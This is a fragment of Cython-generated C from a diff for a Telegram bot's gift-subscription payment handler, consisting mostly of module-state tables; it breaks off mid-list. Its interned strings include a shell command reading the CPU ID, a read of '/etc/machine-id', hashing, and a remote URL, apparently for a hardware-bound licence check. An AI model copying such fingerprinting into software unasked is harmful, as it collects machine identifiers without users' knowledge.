*__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + PyObject *__pyx_kp_u_1; + PyObject *__pyx_kp_u_21U68SOLOBOT; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_CLIENT_CODE; + PyObject *__pyx_n_u_CRYPTOSALE; + PyObject *__pyx_n_s_ClientSession; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_kp_u_None; + PyObject *__pyx_n_s_PROJECTMANECONGIGURE; + PyObject *__pyx_n_s_RENEWAL_PRICES; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_kp_u_SELECT_gift_id_selected_months_i; + PyObject *__pyx_n_s_STARS_ROUTER; + PyObject *__pyx_n_u_Windows; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_n_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_n_u__14; + PyObject *__pyx_n_u__15; + PyObject *__pyx_n_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__27; + PyObject *__pyx_kp_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_kp_u__31; + PyObject *__pyx_kp_u__33; + PyObject *__pyx_kp_u__34; + PyObject *__pyx_kp_u__36; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__40; + PyObject *__pyx_kp_u__42; + PyObject *__pyx_kp_u__43; + PyObject *__pyx_kp_u__44; + PyObject *__pyx_n_s__46; + PyObject *__pyx_kp_u__47; + PyObject *__pyx_n_s__58; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_n_u__9; + PyObject *__pyx_n_s_aenter; + PyObject *__pyx_n_s_aexit; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_kp_u_b; + PyObject *__pyx_kp_u_b_2; + PyObject *__pyx_kp_u_b_b; + PyObject *__pyx_kp_u_b_b_2; + PyObject *__pyx_kp_u_b_b_3; + PyObject *__pyx_kp_u_b_b_4; + PyObject *__pyx_kp_u_b_b_b; + PyObject *__pyx_kp_u_b_code; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_check_output; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_kp_u_code; + PyObject *__pyx_n_u_code_2; + PyObject *__pyx_n_s_config; + PyObject *__pyx_kp_u_confirm_gift; + PyObject *__pyx_n_s_confirm_gift_handler; + PyObject *__pyx_kp_u_d_m_Y_H_M; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_datetime; + PyObject *__pyx_n_s_days; + PyObject *__pyx_n_s_decode; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_encode; + PyObject *__pyx_n_s_enter; + PyObject *__pyx_kp_u_etc_machine_id; + PyObject *__pyx_n_s_exit; + PyObject *__pyx_n_s_expiry_time; + PyObject *__pyx_n_u_expiry_time; + PyObject *__pyx_n_s_f; + PyObject *__pyx_n_s_fetch; + PyObject *__pyx_n_s_finalize_gift_handler; + PyObject *__pyx_n_s_from_user; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_balance; + PyObject *__pyx_n_s_get_gift_link; + PyObject *__pyx_n_s_get_hardware_id; + PyObject *__pyx_n_s_gift; + PyObject *__pyx_n_u_gift; + PyObject *__pyx_kp_u_gift_2; + PyObject *__pyx_n_s_gift_id; + PyObject *__pyx_n_s_gift_link; + PyObject *__pyx_n_s_gift_subscription_handler; + PyObject *__pyx_n_s_gifts; + PyObject *__pyx_n_u_gifts; + PyObject *__pyx_n_s_gifts_text; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_kp_s_handlers_payments_gift_py; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hardware_id; + PyObject *__pyx_n_u_hardware_id; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hex; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_kp_u_https_pocomacho_ru_solonetbot_co; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_is_used; + PyObject *__pyx_n_u_is_used; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_items; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_u_message; + PyObject *__pyx_n_s_months; + PyObject *__pyx_n_u_my_gifts; + PyObject *__pyx_n_s_my_gifts_handler; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_open; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_s_platform; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_price; + PyObject *__pyx_n_u_profile; + PyObject *__pyx_n_s_read; + PyObject *__pyx_n_s_recipient; + PyObject *__pyx_n_u_recipient_tg_id; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_response; + PyObject *__pyx_n_s_result; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_selected_months; + PyObject *__pyx_n_u_selected_months; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_sha256; + PyObject *__pyx_n_s_shell; + PyObject *__pyx_n_s_show_alert; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_start_menu_handler; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_s_store_gift_link; + PyObject *__pyx_n_s_strftime; + PyObject *__pyx_n_s_strip; + PyObject *__pyx_n_s_subprocess; + PyObject *__pyx_n_u_success; + PyObject *__pyx_n_s_system; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_timedelta; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_user_tg_id; + PyObject *__pyx_n_s_utcnow; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_s_validate_client_code; + PyObject *__pyx_kp_u_wmic_cpu_get_ProcessorId; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_3; + PyObject *__pyx_int_4; + PyObject *__pyx_int_30; + PyObject *__pyx_int_200; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__8; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__41; + PyObject *__pyx_tuple__45; + PyObject *__pyx_tuple__48; + PyObject *__pyx_tuple__49; + PyObject *__pyx_tuple__50; + PyObject *__pyx_tuple__51; + PyObject *__pyx_tuple__52; + PyObject *__pyx_tuple__53; + PyObject *__pyx_tuple__54; + PyObject *__pyx_tuple__55; + PyObject *__pyx_tuple__57; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__21; + PyObject *__pyx_codeobj__25; + PyObject *__pyx_codeobj__32; + PyObject *__pyx_codeobj__39; + PyObject *__pyx_codeobj__56; + PyObject *__pyx_ustring__22; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_kp_u_1); + Py_CLEAR(clear_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_CLIENT_CODE); + Py_CLEAR(clear_module_state->__pyx_n_u_CRYPTOSALE); + Py_CLEAR(clear_module_state->__pyx_n_s_ClientSession); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_kp_u_None); + Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_CLEAR(clear_module_state->__pyx_n_s_RENEWAL_PRICES); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_kp_u_SELECT_gift_id_selected_months_i); + Py_CLEAR(clear_module_state->__pyx_n_s_STARS_ROUTER); + Py_CLEAR(clear_module_state->__pyx_n_u_Windows); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_n_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_n_u__14); + Py_CLEAR(clear_module_state->__pyx_n_u__15); + Py_CLEAR(clear_module_state->__pyx_n_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__27); + Py_CLEAR(clear_module_state->__pyx_kp_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_kp_u__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__34); + Py_CLEAR(clear_module_state->__pyx_kp_u__36); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__40); + Py_CLEAR(clear_module_state->__pyx_kp_u__42); + Py_CLEAR(clear_module_state->__pyx_kp_u__43); + Py_CLEAR(clear_module_state->__pyx_kp_u__44); + Py_CLEAR(clear_module_state->__pyx_n_s__46); + Py_CLEAR(clear_module_state->__pyx_kp_u__47); + Py_CLEAR(clear_module_state->__pyx_n_s__58); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_n_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_aenter); + Py_CLEAR(clear_module_state->__pyx_n_s_aexit); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_kp_u_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_4); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_code); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_check_output); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_kp_u_code); + Py_CLEAR(clear_module_state->__pyx_n_u_code_2); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_kp_u_confirm_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_kp_u_d_m_Y_H_M); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_datetime); + Py_CLEAR(clear_module_state->__pyx_n_s_days); + Py_CLEAR(clear_module_state->__pyx_n_s_decode); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_encode); + Py_CLEAR(clear_module_state->__pyx_n_s_enter); + Py_CLEAR(clear_module_state->__pyx_kp_u_etc_machine_id); + Py_CLEAR(clear_module_state->__pyx_n_s_exit); + Py_CLEAR(clear_module_state->__pyx_n_s_expiry_time); + Py_CLEAR(clear_module_state->__pyx_n_u_expiry_time); + Py_CLEAR(clear_module_state->__pyx_n_s_f); + Py_CLEAR(clear_module_state->__pyx_n_s_fetch); + Py_CLEAR(clear_module_state->__pyx_n_s_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_from_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_get_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_get_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_s_gift); + Py_CLEAR(clear_module_state->__pyx_n_u_gift); + Py_CLEAR(clear_module_state->__pyx_kp_u_gift_2); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_id); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_gifts); + Py_CLEAR(clear_module_state->__pyx_n_u_gifts); + Py_CLEAR(clear_module_state->__pyx_n_s_gifts_text); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_gift_py); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_u_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hex); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_is_used); + Py_CLEAR(clear_module_state->__pyx_n_u_is_used); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_items); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_u_message); + Py_CLEAR(clear_module_state->__pyx_n_s_months); + Py_CLEAR(clear_module_state->__pyx_n_u_my_gifts); + Py_CLEAR(clear_module_state->__pyx_n_s_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_open); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_platform); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_price); + Py_CLEAR(clear_module_state->__pyx_n_u_profile); + Py_CLEAR(clear_module_state->__pyx_n_s_read); + Py_CLEAR(clear_module_state->__pyx_n_s_recipient); + Py_CLEAR(clear_module_state->__pyx_n_u_recipient_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_response); + Py_CLEAR(clear_module_state->__pyx_n_s_result); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_selected_months); + Py_CLEAR(clear_module_state->__pyx_n_u_selected_months); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_sha256); + Py_CLEAR(clear_module_state->__pyx_n_s_shell); + Py_CLEAR(clear_module_state->__pyx_n_s_show_alert); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_s_store_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_strftime); + Py_CLEAR(clear_module_state->__pyx_n_s_strip); + Py_CLEAR(clear_module_state->__pyx_n_s_subprocess); + Py_CLEAR(clear_module_state->__pyx_n_u_success); + Py_CLEAR(clear_module_state->__pyx_n_s_system); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_timedelta); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_user_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_utcnow); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_s_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_3); + Py_CLEAR(clear_module_state->__pyx_int_4); + Py_CLEAR(clear_module_state->__pyx_int_30); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__8); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_tuple__45); + Py_CLEAR(clear_module_state->__pyx_tuple__48); + Py_CLEAR(clear_module_state->__pyx_tuple__49); + Py_CLEAR(clear_module_state->__pyx_tuple__50); + Py_CLEAR(clear_module_state->__pyx_tuple__51); + Py_CLEAR(clear_module_state->__pyx_tuple__52); + Py_CLEAR(clear_module_state->__pyx_tuple__53); + Py_CLEAR(clear_module_state->__pyx_tuple__54); + Py_CLEAR(clear_module_state->__pyx_tuple__55); + Py_CLEAR(clear_module_state->__pyx_tuple__57); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__21); + Py_CLEAR(clear_module_state->__pyx_codeobj__25); + Py_CLEAR(clear_module_state->__pyx_codeobj__32); + Py_CLEAR(clear_module_state->__pyx_codeobj__39); + Py_CLEAR(clear_module_state->__pyx_codeobj__56); + Py_CLEAR(clear_module_state->__pyx_ustring__22); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_kp_u_1); + Py_VISIT(traverse_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_CLIENT_CODE); + Py_VISIT(traverse_module_state->__pyx_n_u_CRYPTOSALE); + Py_VISIT(traverse_module_state->__pyx_n_s_ClientSession); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_kp_u_None); + Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_VISIT(traverse_module_state->__pyx_n_s_RENEWAL_PRICES); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_kp_u_SELECT_gift_id_selected_months_i); + Py_VISIT(traverse_module_state->__pyx_n_s_STARS_ROUTER); + Py_VISIT(traverse_module_state->__pyx_n_u_Windows); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_n_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_n_u__14); + Py_VISIT(traverse_module_state->__pyx_n_u__15); + Py_VISIT(traverse_module_state->__pyx_n_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + 